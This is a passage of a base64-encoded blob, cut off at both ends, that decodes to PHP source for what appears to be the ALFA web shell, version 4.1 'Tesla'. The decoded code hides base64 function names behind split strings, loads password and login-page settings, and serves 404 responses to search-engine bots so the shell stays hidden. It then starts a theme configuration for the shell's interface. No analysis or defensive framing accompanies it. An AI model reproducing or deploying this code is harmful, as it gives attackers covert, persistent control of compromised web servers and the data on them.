ZW4nIC4gJ2MnIC4gJ29kZScgLiAnJykpCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJGRhdGEpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRkYXRhKSkgcmV0dXJuOwogICAgICAgICRiNjQgPSAnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nOwogICAgICAgICRvMSA9ICRvMiA9ICRvMyA9ICRoMSA9ICRoMiA9ICRoMyA9ICRoNCA9ICRiaXRzID0gJGkgPSAwOwogICAgICAgICRhYyA9IDA7CiAgICAgICAgJGVuYyA9ICcnOwogICAgICAgICR0bXBfYXJyID0gYXJyYXkoKTsKICAgICAgICBpZiAoISRkYXRhKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuICRkYXRhOwogICAgICAgIH0KICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJG8xID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzIgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRvMyA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJGJpdHMgPSAkbzEgPDwgMTYgfCAkbzIgPDwgOCB8ICRvMzsKICAgICAgICAgICAgJGgxID0gJGJpdHMgPj4gMTggJiAweDNmOwogICAgICAgICAgICAkaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7CiAgICAgICAgICAgICRoMyA9ICRiaXRzID4+IDYgJiAweDNmOwogICAgICAgICAgICAkaDQgPSAkYml0cyAmIDB4M2Y7CiAgICAgICAgICAgICR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpIC4gY2hhckF0KCRiNjQsICRoMikgLiBjaGFyQXQoJGI2NCwgJGgzKSAuIGNoYXJBdCgkYjY0LCAkaDQpOwogICAgICAgIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGRhdGEpKTsKICAgICAgICAkZW5jID0gaW1wbG9kZSgkdG1wX2FyciwgJycpOwogICAgICAgICRyID0gKHN0cmxlbigkZGF0YSkgJSAzKTsKICAgICAgICByZXR1cm4gKCRyID8gc3Vic3RyKCRlbmMsIDAsICgkciAtIDMpKSA6ICRlbmMpIC4gc3Vic3RyKCc9PT0nLCAoJHIgfHwgMykpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckNvZGVBdCgkZGF0YSwgJGNoYXIpCiAgICB7CiAgICAgICAgcmV0dXJuIG9yZChzdWJzdHIoJGRhdGEsICRjaGFyLCAxKSk7CiAgICB9CiAgICBmdW5jdGlvbiBjaGFyQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoJGRhdGEsICRjaGFyLCAxKTsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJyc7CiAgICAgICAgcmV0dXJuICRiKCRzKTsKICAgIH0KfQppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZScgLiAnNicgLiAnNCcgLiAnX2QnIC4gJ2Vjb2QnIC4gJ2UnIC4gJycpKQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRpbnB1dCkKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGlucHV0KSkgcmV0dXJuOwogICAgICAgICRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOwogICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgJGkgPSAwOwogICAgICAgICRvdXRwdXQgPSAiIjsKICAgICAgICAkaW5wdXQgPSBwcmVnX3JlcGxhY2UoIlteQS1aYS16MC05XCtcL1w9XSIsICIiLCAkaW5wdXQpOwogICAgICAgIGRvCiAgICAgICAgewogICAgICAgICAgICAkZW5jMSA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMyID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkZW5jNCA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRjaHIxID0gKCRlbmMxIDw8IDIpIHwgKCRlbmMyID4+IDQpOwogICAgICAgICAgICAkY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7CiAgICAgICAgICAgICRjaHIzID0gKCgkZW5jMyAmIDMpIDw8IDYpIHwgJGVuYzQ7CiAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjEpOwogICAgICAgICAgICBpZiAoJGVuYzMgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZW5jNCAhPSA2NCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNocjEgPSAkY2hyMiA9ICRjaHIzID0gIiI7CiAgICAgICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgfQogICAgICAgIHdoaWxlICgkaSA8IHN0cmxlbigkaW5wdXQpKTsKICAgICAgICByZXR1cm4gJG91dHB1dDsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHpSdFNIc2JUelYoJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KCmZ1bmN0aW9uIF9fWlc1amIyUmxjZygkcykKewogICAgcmV0dXJuIHZjbnZTQ1pnQnooJHMpOwp9CmZ1bmN0aW9uIF9fWkdWamIyUmxjZygkcykKewogICAgcmV0dXJuIHpSdFNIc2JUelYoJHMpOwp9CgokR0xPQkFMU1snREJfTkFNRSddID0gJEdMT0JBTFNbJ29aZ055cG9QUlUnXTsKCmZvcmVhY2ggKCRHTE9CQUxTWydEQl9OQU1FJ10gYXMgJGtleSA9PiAkdmFsdWUpCnsKCSRwcmVmaXggPSBzdWJzdHIoJGtleSwgMCwgMik7CglpZiAoJHByZWZpeCA9PSAidXMiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXIiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBhIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwYXNzIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzc19yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJzYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGUiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzYWZlbW9kZV9yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJsbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZSJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2VfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAic2giKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnMiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJzaG93X2ljb25zX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBvIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb24iXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwb3N0X2VuY3J5cHRpb25fcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAiY2ciKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bImNnaV9hcGkiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpX3JhbmQiXSA9ICRrZXk7Cgl9Cn0KCnVuc2V0KCRHTE9CQUxTWydvWmdOeXBvUFJVJ10pOwoKaWYgKCFpc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pKSBleGl0KCk7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwiU2x1cnAiLCJNU05Cb3QiLCJpYV9hcmNoaXZlciIsIllhbmRleCIsIlJhbWJsZXIiLCJib3QiLCJzcGlkZXIiKTtpZihwcmVnX21hdGNoKCcvJy5pbXBsb2RlKCd8JywkdXNlckFnZW50cykuJy9pJywkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTtleGl0O319CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3VzZXJcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncGFzc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2FmZW1vZGVcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnbG9naW5fcGFnZVwnXScpOwppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzaG93X2ljb25zXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwb3N0X2VuY3J5cHRpb24nXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wncG9zdF9lbmNyeXB0aW9uXCddJyk7CmRlZmluZSgiX19BTEZBX1ZFUlNJT05fXyIsICI0LjEiKTsKZGVmaW5lKCJfX0FMRkFfVVBEQVRFX18iLCAiMiIpOwpkZWZpbmUoIl9fQUxGQV9DT0RFX05BTUVfXyIsICJUZXNsYSIpOwpkZWZpbmUoIl9fQUxGQV9EQVRBX0ZPTERFUl9fIiwgIkFMRkFfREFUQSIpOwpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0FMRkFfU0VDUkVUX0tFWV9fIiwgX19BTEZBX1BPU1RfRU5DUllQVElPTl9fP19BbGZhU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OTc5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJBbGZhKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYWxmYV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiwKCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibWFpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lbnVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jbG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGlzdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRlciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OTk5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYX